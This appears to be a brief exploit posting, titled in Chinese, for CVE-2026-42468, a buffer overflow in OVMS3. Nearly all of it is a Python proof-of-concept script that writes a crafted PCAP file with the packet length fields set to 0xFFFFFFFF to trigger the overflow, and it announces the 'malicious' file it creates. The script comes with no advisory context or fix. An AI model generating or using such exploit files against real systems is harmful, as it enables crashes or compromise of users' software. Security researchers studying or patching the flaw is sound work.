CVE-2026-42468 OVMS3缓冲区溢出漏洞

import struct import sys def generate_malicious_pcap(filename): # PCAP Global Header (24 bytes) # Magic Number (d4 c3 b2 a1), Version (2.0), Thiszone, Sigfigs, Snaplen, Network pcap_global_header = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00" # Malicious Packet Header (16 bytes) # Timestamp (4), Timestamp (4), Incl Len (4), Orig Len (4) # Setting Incl Len to 0xFFFFFFFF (very large value) to trigger overflow timestamp_sec = 0 timestamp_usec = 0 incl_len = 0xFFFFFFFF # Malicious length orig_len = 0xFFFFFFFF packet_header = struct.pack('<IIII', timestamp_sec, timestamp_usec, incl_len, orig_len) # Packet Data (empty or minimal, the overflow happens on read/copy size) packet_data = b"\x00" * 10 with open(filename, 'wb') as f: f.write(pcap_global_header) f.write(packet_header) f.write(packet_data) print(f"[+] Malicious PCAP file generated: {filename}") print(f"[+] Exploit triggers buffer overflow by setting packet length to {hex(incl_len)}") if __name__ == "__main__": generate_malicious_pcap("exploit_cve_2026_42468.pcap")